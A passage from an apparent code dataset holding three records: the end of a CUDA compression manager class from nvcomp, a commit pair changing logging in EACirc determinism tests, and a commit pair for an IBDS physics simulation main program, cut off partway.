\/\/ members\n  bool scratch_buffer_filled;\n\nprotected: \/\/ members\n  bool finished_init;\n\npublic: \/\/ API\n  \/**\n   * @brief Construct a ManagerBase\n   * \n   * @param user_stream The stream to use for all operations. Optional, defaults to the default stream\n   * @param device_id The default device ID to use for all operations. Optional, defaults to the default device\n   *\/\n  ManagerBase(cudaStream_t user_stream = 0, int device_id = 0) \n    : common_header_cpu(),\n      user_stream(user_stream),\n      scratch_buffer(nullptr),\n      scratch_buffer_size(0),\n      device_id(device_id),\n      status_pool(),\n      manager_filled_scratch_buffer(false),\n      scratch_buffer_filled(false),\n      finished_init(false)\n  {\n    CudaUtils::check(cudaHostAlloc(&common_header_cpu, sizeof(CommonHeader), cudaHostAllocDefault));\n  }\n\n  size_t get_required_scratch_buffer_size() final override {\n    return scratch_buffer_size;\n  }\n\n  \/\/ Disable copying\n  ManagerBase(const ManagerBase&) = delete;\n  ManagerBase& operator=(const ManagerBase&) = delete;\n  ManagerBase() = delete;     \n\n  size_t get_compressed_output_size(uint8_t* comp_buffer) final override {\n    CommonHeader* common_header = reinterpret_cast<CommonHeader*>(comp_buffer);\n    \n    CudaUtils::check(cudaMemcpy(common_header_cpu, \n        common_header, \n        sizeof(CommonHeader),\n        cudaMemcpyDefault));\n\n    return common_header_cpu->comp_data_size + common_header_cpu->comp_data_offset;\n  };\n  \n  virtual ~ManagerBase() {\n    CudaUtils::check(cudaFreeHost(common_header_cpu));\n    if (scratch_buffer_filled) {\n      if (manager_filled_scratch_buffer) {\n        CudaUtils::check(cudaFree(scratch_buffer));\n      }\n    }\n  }\n\n  CompressionConfig configure_compression(const size_t decomp_buffer_size) final override\n  {\n    const size_t max_comp_size = calculate_max_compressed_output_size(decomp_buffer_size);\n    return CompressionConfig{status_pool, max_comp_size};\n  }\n\n  virtual DecompressionConfig configure_decompression(const uint8_t* comp_buffer) override\n  {\n    const CommonHeader* common_header = reinterpret_cast<const CommonHeader*>(comp_buffer);\n    DecompressionConfig decomp_config{status_pool};\n    \n    CudaUtils::check(cudaMemcpyAsync(&decomp_config.decomp_data_size, \n        &common_header->decomp_data_size, \n        sizeof(size_t),\n        cudaMemcpyDefault,\n        user_stream));\n    \n    do_configure_decompression(decomp_config, common_header);\n\n    return decomp_config;\n}\n\n  void set_scratch_buffer(uint8_t* new_scratch_buffer) final override\n  {\n    if (scratch_buffer_filled) {\n      if (manager_filled_scratch_buffer) {\n        #if CUDART_VERSION >= 11020\n          CudaUtils::check(cudaFreeAsync(scratch_buffer, user_stream));\n        #else\n          CudaUtils::check(cudaFree(scratch_buffer));\n        #endif\n        manager_filled_scratch_buffer = false;\n      }\n    } else {\n      scratch_buffer_filled = true;\n    }\n    scratch_buffer = new_scratch_buffer;\n  }\n\n  virtual void compress(\n      const uint8_t* decomp_buffer, \n      const size_t decomp_buffer_size, \n      uint8_t* comp_buffer,\n      const CompressionConfig& comp_config) \n  {\n    assert(finished_init);\n\n    if (not scratch_buffer_filled) {\n      #if CUDART_VERSION >= 11020\n        CudaUtils::check(cudaMallocAsync(&scratch_buffer, scratch_buffer_size, user_stream));\n      #else\n        CudaUtils::check(cudaMalloc(&scratch_buffer, scratch_buffer_size));\n      #endif\n      scratch_buffer_filled = true;\n      manager_filled_scratch_buffer = true;\n    }    \n\n    CommonHeader* common_header = reinterpret_cast<CommonHeader*>(comp_buffer);\n    FormatSpecHeader* comp_format_header = reinterpret_cast<FormatSpecHeader*>(common_header + 1);\n    CudaUtils::check(cudaMemcpyAsync(comp_format_header, get_format_header(), sizeof(FormatSpecHeader), cudaMemcpyDefault, user_stream));\n\n    CudaUtils::check(cudaMemsetAsync(&common_header->comp_data_size, 0, sizeof(uint64_t), user_stream));\n\n    uint8_t* new_comp_buffer = comp_buffer + sizeof(CommonHeader) + sizeof(FormatSpecHeader);\n    do_compress(common_header, decomp_buffer, decomp_buffer_size, new_comp_buffer, comp_config);\n  }\n\n  virtual void decompress(\n      uint8_t* decomp_buffer, \n      const uint8_t* comp_buffer,\n      const DecompressionConfig& config)\n  {\n    assert(finished_init);\n\n    if (not scratch_buffer_filled) {\n      #if CUDART_VERSION >= 11020\n        CudaUtils::check(cudaMallocAsync(&scratch_buffer, scratch_buffer_size, user_stream));\n      #else\n        CudaUtils::check(cudaMalloc(&scratch_buffer, scratch_buffer_size));\n      #endif\n      scratch_buffer_filled = true;\n      manager_filled_scratch_buffer = true;\n    }    \n\n    const uint8_t* new_comp_buffer = comp_buffer + sizeof(CommonHeader) + sizeof(FormatSpecHeader);\n\n    do_decompress(decomp_buffer, new_comp_buffer, config);\n  }\n  \nprotected: \/\/ helpers \n  virtual void finish_init() {\n    scratch_buffer_size = compute_scratch_buffer_size();\n    finished_init = true;\n  }\n\nprivate: \/\/ helpers\n\n  \/**\n   * @brief Required helper that actually does the compression \n   * \n   * @param common_header header filled in by this routine (GPU accessible)\n   * @param decomp_buffer The uncompressed input data (GPU accessible)\n   * @param decomp_buffer_size The length of the uncompressed input data\n   * @param comp_buffer The location to output the compressed data to (GPU accessible).\n   * @param comp_config Resulted from configure_compression given this decomp_buffer_size.\n   * \n   *\/\n  virtual void do_compress(\n      CommonHeader* common_header,\n      const uint8_t* decomp_buffer, \n      const size_t decomp_buffer_size, \n      uint8_t* comp_buffer,\n      const CompressionConfig& comp_config) = 0;\n\n  \/**\n   * @brief Required helper that actually does the decompression \n   *\n   * @param decomp_buffer The location to output the decompressed data to (GPU accessible).\n   * @param comp_buffer The compressed input data (GPU accessible).\n   * @param decomp_config Resulted from configure_decompression given this decomp_buffer_size.\n   *\/\n  virtual void do_decompress(\n      uint8_t* decomp_buffer, \n      const uint8_t* comp_buffer,\n      const DecompressionConfig& config) = 0;\n\n  \/**\n   * @brief Optionally does additional decompression configuration \n   *\/\n  virtual void do_configure_decompression(\n      DecompressionConfig& decomp_config,\n      const CommonHeader* common_header) = 0; \n\n  \/**\n   * @brief Computes the required scratch buffer size \n   *\/\n  virtual size_t compute_scratch_buffer_size() = 0;\n\n  \/**\n   * @brief Computes the maximum compressed output size for a given\n   * uncompressed buffer.\n   *\/\n  virtual size_t calculate_max_compressed_output_size(size_t decomp_buffer_size) = 0;\n\n  \/**\n   * @brief Retrieves a CPU-accessible pointer to the FormatSpecHeader\n   *\/\n  virtual FormatSpecHeader* get_format_header() = 0;\n};\n\n} \/\/ namespace nvcomp<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n\n#include \"tests.h\"\n#include \"XMLProcessor.h\"\n#include \"EACirc.h\"\n\nvoid compareFilesByLine(string filename1, string filename2) {\n    string line1,line2;\n    ifstream file1(filename1);\n    ifstream file2(filename2);\n    if (!file1.is_open() || !file2.is_open()) {\n        WARN(\"Could not open files \" << filename1 << \" and \" << filename2 << \".\");\n        return;\n    }\n    int differCount = 0;\n    while ((!file1.eof() || !file2.eof()) && differCount <=5 ) {\n        getline(file1,line1);\n        getline(file2,line2);\n        if (line1 != line2) {\n            differCount++;\n        }\n        SCOPED_INFO(\"Comparing files \" << filename1 << \" and \" << filename2 << \".\");\n        CHECK(line1 == line2);\n    }\n    if (differCount > 5) {\n        WARN(\"Given files (\" << filename1 << \", \" << filename2 << \" differ in more than 5 lines!\");\n    }\n    file1.close();\n    file2.close();\n}\n\nint backupFile(string filename) {\n    string backupFilename = filename + BACKUP_SUFFIX;\n    remove(backupFilename.c_str());\n    if (rename(filename.c_str(),backupFilename.c_str()) != 0) {\n        return STAT_FILE_WRITE_FAIL;\n    }\n    return STAT_OK;\n}\n\nvoid backupResults() {\n    CHECK(backupFile(FILE_GALIB_SCORES) == STAT_OK);\n    CHECK(backupFile(FILE_FITNESS_PROGRESS) == STAT_OK);\n    CHECK(backupFile(FILE_BEST_FITNESS) == STAT_OK);\n    CHECK(backupFile(FILE_AVG_FITNESS) == STAT_OK);\n    CHECK(backupFile(FILE_STATE) == STAT_OK);\n    CHECK(backupFile(FILE_POPULATION) == STAT_OK);\n}\n\nvoid compareResults() {\n    compareFilesByLine(FILE_GALIB_SCORES,string(FILE_GALIB_SCORES)+BACKUP_SUFFIX);\n    compareFilesByLine(FILE_FITNESS_PROGRESS,string(FILE_FITNESS_PROGRESS)+BACKUP_SUFFIX);\n    compareFilesByLine(FILE_BEST_FITNESS,string(FILE_BEST_FITNESS)+BACKUP_SUFFIX);\n    compareFilesByLine(FILE_AVG_FITNESS,string(FILE_AVG_FITNESS)+BACKUP_SUFFIX);\n    compareFilesByLine(FILE_STATE,string(FILE_STATE)+BACKUP_SUFFIX);\n    compareFilesByLine(FILE_POPULATION,string(FILE_POPULATION)+BACKUP_SUFFIX);\n}\n\nint runEACirc() {\n    WARN(\"######## Running EACirc ########\");\n    EACirc eacirc(false);\n    eacirc.loadConfiguration(FILE_CONFIG);\n    eacirc.initializeState();\n    eacirc.prepare();\n    eacirc.run();\n    WARN(\"######## Ending EACirc (error: \" << eacirc.getStatus() << \" ) ########\");\n    return eacirc.getStatus();\n}\n\nTEST_CASE(\"stupid\/number equalities\", \"different numbers are not equal\") {\n    int number = 5;\n    for (int i=1; i<5; i++) {\n        CHECK(i !=number);\n    }\n}\n\nTEST_CASE(\"xml\/xpath\",\"using simple variation of xpath to get\/set element and attribute values in XML\") {\n    string location = \"INFO\/VERSION\";\n    TiXmlNode* pRoot = NULL;\n    REQUIRE(loadXMLFile(pRoot,FILE_CONFIG) == STAT_OK);\n    CHECK(getXMLElementValue(pRoot,location) == \"5.0\");\n\n    string newData = \"new data here!\";\n    REQUIRE(setXMLElementValue(pRoot,location,newData) == STAT_OK);\n    string attrName = \"TEST_ATTR\";\n    string attrValue = \"1234\";\n    REQUIRE(setXMLElementValue(pRoot,location + \"\/@\" + attrName,attrValue) == STAT_OK);\n    REQUIRE(saveXMLFile(pRoot,FILE_CONFIG) == STAT_OK);\n\n    REQUIRE(loadXMLFile(pRoot,FILE_CONFIG) == STAT_OK);\n    CHECK(getXMLElementValue(pRoot,location) == newData);\n    CHECK(getXMLElementValue(pRoot,location+\"\/@\"+attrName) == attrValue);\n    delete pRoot;\n}\n\nTEST_CASE(\"determinism\/seed\",\"testing whether run with random seed and second run with the same seed are same\") {\n    \/\/ general preparations\n    REQUIRE(basicConfiguration::estream() == STAT_OK);\n    TiXmlNode* pRootConfig = NULL;\n    \/\/ prepare run 1\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/LOAD_STATE\",\"0\") == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"RANDOM\/USE_FIXED_SEED\",\"0\") == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    \/\/ run 1\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ rename files to be compared\n    backupResults();\n    REQUIRE(backupFile(FILE_STATE_INITIAL) == STAT_OK);\n    REQUIRE(backupFile(FILE_POPULATION_INITIAL) == STAT_OK);\n    \/\/ prepare run 2\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    TiXmlNode* pRootState = NULL;\n    REQUIRE(setXMLElementValue(pRootConfig,\"RANDOM\/USE_FIXED_SEED\",\"1\") == STAT_OK);\n    REQUIRE(loadXMLFile(pRootState,string(FILE_STATE_INITIAL)+BACKUP_SUFFIX) == STAT_OK);\n    string seed = getXMLElementValue(pRootState,\"main_seed\");\n    REQUIRE(setXMLElementValue(pRootConfig,\"RANDOM\/SEED\",seed) == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    delete pRootState;\n    \/\/ run 2\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ compare results\n    compareResults();\n    compareFilesByLine(FILE_STATE_INITIAL,string(FILE_STATE_INITIAL)+BACKUP_SUFFIX);\n    compareFilesByLine(FILE_POPULATION_INITIAL,string(FILE_POPULATION_INITIAL)+BACKUP_SUFFIX);\n}\n\nTEST_CASE(\"determinism\/load-state\",\"running and running from loaded state\") {\n    \/\/ general preparations\n    basicConfiguration::estream();\n    TiXmlNode* pRootConfig = NULL;\n    \/\/ prepare run 1\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/LOAD_STATE\",\"0\") == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    \/\/ run 1\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ rename files to be compared\n    backupResults();\n    \/\/ copy file header for FILE_FITNESS_PROGRESS\n    {\n        ofstream fitProg(FILE_FITNESS_PROGRESS);\n        ifstream fitProgOrig(string(FILE_FITNESS_PROGRESS)+BACKUP_SUFFIX);\n        REQUIRE((fitProg.is_open() && fitProgOrig.is_open()));\n        string line;\n        getline(fitProgOrig,line);\n        fitProg << line << endl;\n        fitProg.close();\n        fitProgOrig.close();\n    }\n    \/\/ prepare run 2\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/LOAD_STATE\",\"1\") == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    REQUIRE(rename(FILE_STATE_INITIAL,FILE_STATE) == STAT_OK);\n    REQUIRE(rename(FILE_POPULATION_INITIAL,FILE_POPULATION) == STAT_OK);\n    \/\/ run 2\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ compare results\n    compareResults();\n}\n\nTEST_CASE(\"determinism\/recommencing\",\"compute 40 generations vs. compute 20+20 generations\") {\n    \/\/ general preparations\n    basicConfiguration::estream();\n    TiXmlNode* pRootConfig = NULL;\n    \/\/ prepare run 1\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/LOAD_STATE\",\"0\") == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/NUM_GENERATIONS\",\"40\") == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/SAVE_STATE_FREQ\",\"10\") == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"RANDOM\/USE_FIXED_SEED\",\"1\") == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"RANDOM\/SEED\",\"123456789\") == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    \/\/ run 1\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ rename files to be compared\n    backupResults();\n    \/\/ prepare run 2\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/NUM_GENERATIONS\",\"20\") == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    \/\/ run 2\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ prepare run 3\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/LOAD_STATE\",\"1\") == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/NUM_GENERATIONS\",\"20\") == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    \/\/ run 3\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ compare results\n    compareResults();\n}\n<commit_msg>minor changes to tests<commit_after>#include <iostream>\n\n#include \"tests.h\"\n#include \"XMLProcessor.h\"\n#include \"EACirc.h\"\n\nvoid compareFilesByLine(string filename1, string filename2) {\n    string line1,line2;\n    ifstream file1(filename1);\n    ifstream file2(filename2);\n    if (!file1.is_open() || !file2.is_open()) {\n        WARN(\"Could not open files \" << filename1 << \" and \" << filename2 << \".\");\n        return;\n    }\n    int differCount = 0;\n    while ((!file1.eof() || !file2.eof()) && differCount <=5 ) {\n        getline(file1,line1);\n        getline(file2,line2);\n        if (line1 != line2) {\n            differCount++;\n        }\n        SCOPED_INFO(\"Comparing files \" << filename1 << \" and \" << filename2 << \".\");\n        CHECK(line1 == line2);\n    }\n    if (differCount > 5) {\n        WARN(\"Given files (\" << filename1 << \", \" << filename2 << \" differ in more than 5 lines!\");\n    }\n    file1.close();\n    file2.close();\n}\n\nint backupFile(string filename) {\n    string backupFilename = filename + BACKUP_SUFFIX;\n    remove(backupFilename.c_str());\n    if (rename(filename.c_str(),backupFilename.c_str()) != 0) {\n        return STAT_FILE_WRITE_FAIL;\n    }\n    return STAT_OK;\n}\n\nvoid backupResults() {\n    CHECK(backupFile(FILE_GALIB_SCORES) == STAT_OK);\n    CHECK(backupFile(FILE_FITNESS_PROGRESS) == STAT_OK);\n    CHECK(backupFile(FILE_BEST_FITNESS) == STAT_OK);\n    CHECK(backupFile(FILE_AVG_FITNESS) == STAT_OK);\n    CHECK(backupFile(FILE_STATE) == STAT_OK);\n    CHECK(backupFile(FILE_POPULATION) == STAT_OK);\n}\n\nvoid compareResults() {\n    compareFilesByLine(FILE_GALIB_SCORES,string(FILE_GALIB_SCORES)+BACKUP_SUFFIX);\n    compareFilesByLine(FILE_FITNESS_PROGRESS,string(FILE_FITNESS_PROGRESS)+BACKUP_SUFFIX);\n    compareFilesByLine(FILE_BEST_FITNESS,string(FILE_BEST_FITNESS)+BACKUP_SUFFIX);\n    compareFilesByLine(FILE_AVG_FITNESS,string(FILE_AVG_FITNESS)+BACKUP_SUFFIX);\n    compareFilesByLine(FILE_STATE,string(FILE_STATE)+BACKUP_SUFFIX);\n    compareFilesByLine(FILE_POPULATION,string(FILE_POPULATION)+BACKUP_SUFFIX);\n}\n\nint runEACirc() {\n\tif (mainLogger.getLogging()) {\n\t\tWARN(\"######## Running EACirc ########\");\n\t}\n    EACirc eacirc(false);\n    eacirc.loadConfiguration(FILE_CONFIG);\n    eacirc.initializeState();\n    eacirc.prepare();\n    eacirc.run();\n\tif (mainLogger.getLogging()) {\n\t\tWARN(\"######## Ending EACirc (error: \" << eacirc.getStatus() << \" ) ########\");\n\t}\n    return eacirc.getStatus();\n}\n\nTEST_CASE(\"xml\/xpath\",\"using simple variation of xpath to get\/set element and attribute values in XML\") {\n    string location = \"INFO\/VERSION\";\n    TiXmlNode* pRoot = NULL;\n    REQUIRE(loadXMLFile(pRoot,FILE_CONFIG) == STAT_OK);\n    CHECK(getXMLElementValue(pRoot,location) == \"5.0\");\n\n    string newData = \"new data here!\";\n    REQUIRE(setXMLElementValue(pRoot,location,newData) == STAT_OK);\n    string attrName = \"TEST_ATTR\";\n    string attrValue = \"1234\";\n    REQUIRE(setXMLElementValue(pRoot,location + \"\/@\" + attrName,attrValue) == STAT_OK);\n    REQUIRE(saveXMLFile(pRoot,FILE_CONFIG) == STAT_OK);\n\n    REQUIRE(loadXMLFile(pRoot,FILE_CONFIG) == STAT_OK);\n    CHECK(getXMLElementValue(pRoot,location) == newData);\n    CHECK(getXMLElementValue(pRoot,location+\"\/@\"+attrName) == attrValue);\n    delete pRoot;\n}\n\nTEST_CASE(\"determinism\/seed\",\"testing whether run with random seed and second run with the same seed are same\") {\n    \/\/ general preparations\n    REQUIRE(basicConfiguration::estream() == STAT_OK);\n    TiXmlNode* pRootConfig = NULL;\n    \/\/ prepare run 1\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/LOAD_STATE\",\"0\") == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"RANDOM\/USE_FIXED_SEED\",\"0\") == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    \/\/ run 1\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ rename files to be compared\n    backupResults();\n    REQUIRE(backupFile(FILE_STATE_INITIAL) == STAT_OK);\n    REQUIRE(backupFile(FILE_POPULATION_INITIAL) == STAT_OK);\n    \/\/ prepare run 2\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    TiXmlNode* pRootState = NULL;\n    REQUIRE(setXMLElementValue(pRootConfig,\"RANDOM\/USE_FIXED_SEED\",\"1\") == STAT_OK);\n    REQUIRE(loadXMLFile(pRootState,string(FILE_STATE_INITIAL)+BACKUP_SUFFIX) == STAT_OK);\n    string seed = getXMLElementValue(pRootState,\"main_seed\");\n    REQUIRE(setXMLElementValue(pRootConfig,\"RANDOM\/SEED\",seed) == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    delete pRootState;\n    \/\/ run 2\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ compare results\n    compareResults();\n    compareFilesByLine(FILE_STATE_INITIAL,string(FILE_STATE_INITIAL)+BACKUP_SUFFIX);\n    compareFilesByLine(FILE_POPULATION_INITIAL,string(FILE_POPULATION_INITIAL)+BACKUP_SUFFIX);\n}\n\nTEST_CASE(\"determinism\/load-state\",\"running and running from loaded state\") {\n    \/\/ general preparations\n    basicConfiguration::estream();\n    TiXmlNode* pRootConfig = NULL;\n    \/\/ prepare run 1\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/LOAD_STATE\",\"0\") == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    \/\/ run 1\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ rename files to be compared\n    backupResults();\n    \/\/ copy file header for FILE_FITNESS_PROGRESS\n    {\n        ofstream fitProg(FILE_FITNESS_PROGRESS);\n        ifstream fitProgOrig(string(FILE_FITNESS_PROGRESS)+BACKUP_SUFFIX);\n        REQUIRE((fitProg.is_open() && fitProgOrig.is_open()));\n        string line;\n        getline(fitProgOrig,line);\n        fitProg << line << endl;\n        fitProg.close();\n        fitProgOrig.close();\n    }\n    \/\/ prepare run 2\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/LOAD_STATE\",\"1\") == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    REQUIRE(rename(FILE_STATE_INITIAL,FILE_STATE) == STAT_OK);\n    REQUIRE(rename(FILE_POPULATION_INITIAL,FILE_POPULATION) == STAT_OK);\n    \/\/ run 2\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ compare results\n    compareResults();\n}\n\nTEST_CASE(\"determinism\/recommencing\",\"compute 40 generations vs. compute 20+20 generations\") {\n    \/\/ general preparations\n    basicConfiguration::estream();\n    TiXmlNode* pRootConfig = NULL;\n    \/\/ prepare run 1\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/LOAD_STATE\",\"0\") == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/NUM_GENERATIONS\",\"40\") == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/SAVE_STATE_FREQ\",\"10\") == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"RANDOM\/USE_FIXED_SEED\",\"1\") == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"RANDOM\/SEED\",\"123456789\") == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    \/\/ run 1\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ rename files to be compared\n    backupResults();\n    \/\/ prepare run 2\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/NUM_GENERATIONS\",\"20\") == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    \/\/ run 2\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ prepare run 3\n    REQUIRE(loadXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/LOAD_STATE\",\"1\") == STAT_OK);\n    REQUIRE(setXMLElementValue(pRootConfig,\"MAIN\/NUM_GENERATIONS\",\"20\") == STAT_OK);\n    REQUIRE(saveXMLFile(pRootConfig,FILE_CONFIG) == STAT_OK);\n    pRootConfig = NULL;\n    \/\/ run 3\n    REQUIRE(runEACirc() == STAT_OK);\n    \/\/ compare results\n    compareResults();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\r\n * IBDS - Impulse-Based Dynamic Simulation Library\r\n * Copyright (c) 2003-2008 Jan Bender http:\/\/www.impulse-based.de\r\n *\r\n * This software is provided 'as-is', without any express or implied\r\n * warranty. In no event will the authors be held liable for any damages\r\n * arising from the use of this software.\r\n *\r\n * Permission is granted to anyone to use this software for any purpose,\r\n * including commercial applications, and to alter it and redistribute it\r\n * freely, subject to the following restrictions:\r\n *\r\n * 1. The origin of this software must not be misrepresented; you must not\r\n *    claim that you wrote the original software. If you use this software\r\n *    in a product, an acknowledgment in the product documentation would be\r\n *    appreciated but is not required.\r\n * 2. Altered source versions must be plainly marked as such, and must not be\r\n *    misrepresented as being the original software.\r\n * 3. This notice may not be removed or altered from any source distribution.\r\n *\r\n * Jan Bender - Jan.Bender@impulse-based.de\r\n *\/\r\n\r\n#include \"Common\/StringTools.h\"\r\n#include \"Common\/timing.h\"\r\n#include \"CustomSimulation.h\"\r\n#include <GlutRunner\/GlutSimulationRunner.h>\r\n#include <Visualization\/Renderers\/SimulationRunnerRenderer.h>\r\n#include <Visualization\/Renderers\/TweakBarRenderer.h>\r\n\/\/ Enable memory leak detection\r\n#ifdef _DEBUG\r\n  #define new DEBUG_NEW \r\n#endif\r\n\r\nusing namespace IBDS;\r\nusing namespace std;\r\n\r\n\/\/ main \r\nint main( int argc, char **argv )\r\n\t{\r\n\tREPORT_MEMORY_LEAKS\r\n\tUSE_TIMESTEP_TIMING(Timing::m_dontPrintTimes = true;);\r\n\r\n  auto simulation = new CustomSimulation();\r\n  \r\n\r\n  GlutSimulationRunner & runner = GlutSimulationRunner::instance();\r\n  \r\n  IAction * action = new DelegateAction(\"TogglePause\", [&runner](){runner.togglePause();});\r\n  \r\n  \r\n  simulation->addSimulationObject(action);\r\n\r\n  runner.setCommandLineArguments(argc,argv);\r\n\r\n  runner.setSimulation(simulation);\r\n\r\n  \/\/add a renderer that shows info for the simulation runner\r\n  simulation->addSimulationObject(new SimulationRunnerRenderer(runner));\r\n\r\n\r\n  \/\/ this order has to be maintaned.  i'll need to fix this.\r\n  simulation->buildModel();\r\n  simulation->buildAlgorithms();\r\n\r\n  \r\n  Real b=9;\r\n  simulation->addSimulationObject(new RealValue(\"test\",b));\r\n\r\n  auto integrable = simulation->getIntegrator()->getIntegratable();\r\n  Real* initialState = new Real[integrable->getStateDimension()];\r\n  integrable->getState(initialState);\r\n\r\n  action = new DelegateAction(\"Reset\",[initialState, integrable](){\r\n    integrable->setState(initialState);\r\n  });\r\n  simulation->addSimulationObject(action);\r\n\r\n  runner.run();\r\n\r\n\r\n\tUSE_TIMESTEP_TIMING(printAverageTimes());\r\n\r\n\treturn 0;\r\n\t}<commit_msg><commit_after>\/*\r\n * IBDS - Impulse-Based Dynamic Simulation Library\r\n * Copyright (c) 2003-2008 Jan Bender http:\/\/www.impulse-based.de\r\n *\r\n * This software is provided 'as-is', without any express or implied\r\n * warranty. In no event will the authors be held liable for any damages\r\n * arising from the use of this software.\r\n *\r\n * Permission is granted to anyone to use this software for any purpose,\r\n * including commercial applications, and to alter it and redistribute it\r\n * freely, subject to the following restrictions:\r\n *\r\n * 1. The origin of this software must not be misrepresented; you must not\r\n *    claim that you wrote the original software. If you use this software\r\n *    in a product, an acknowledgment in the product documentation would be\r\n *    appreciated but is not required.\r\n * 2. Altered source versions must be plainly marked as such, and must not be\r\n *    misrepresented as being the original software.\r\n * 3. This notice may not be removed or altered from any source distribution.\r\n *\r\n * Jan Bender - Jan.Bender@impulse-based.de\r\n *\/\r\n\r\n#include \"Common\/StringTools.h\"\r\n#include \"Common\/timing.h\"\r\n#include \"CustomSimulation.h\"\r\n#include <GlutRunner\/GlutSimulationRunner.h>\r\n#include <Visualization\/Renderers\/SimulationRunnerRenderer.h>\r\n#include <Visualization\/Renderers\/TweakBarRenderer.h>\r\n\/\/ Enable memory leak detection\r\n#ifdef _DEBUG\r\n  #define new DEBUG_NEW \r\n#endif\r\n\r\nusing namespace IBDS;\r\nusing namespace std;\r\n\r\n\/\/ main \r\nint main( int argc, char **argv )\r\n\t{\r\n\tREPORT_MEMORY_LEAKS\r\n\tUSE_TIMESTEP_TIMING(Timing::m_dontPrintTimes = true;);\r\n\r\n  auto simulation = new CustomSimulation();\r\n  \r\n\r\n  GlutSimulationRunner & runner = GlutSimulationRunner::instance();\r\n  \r\n  IAction * action = new DelegateAction(\"TogglePause\", [&runner](){runner.togglePause();});\r\n  \r\n  \r\n  simulation->addSimulationObject(action);\r\n\r\n  runner.setCommandLineArguments(argc,argv);\r\n\r\n  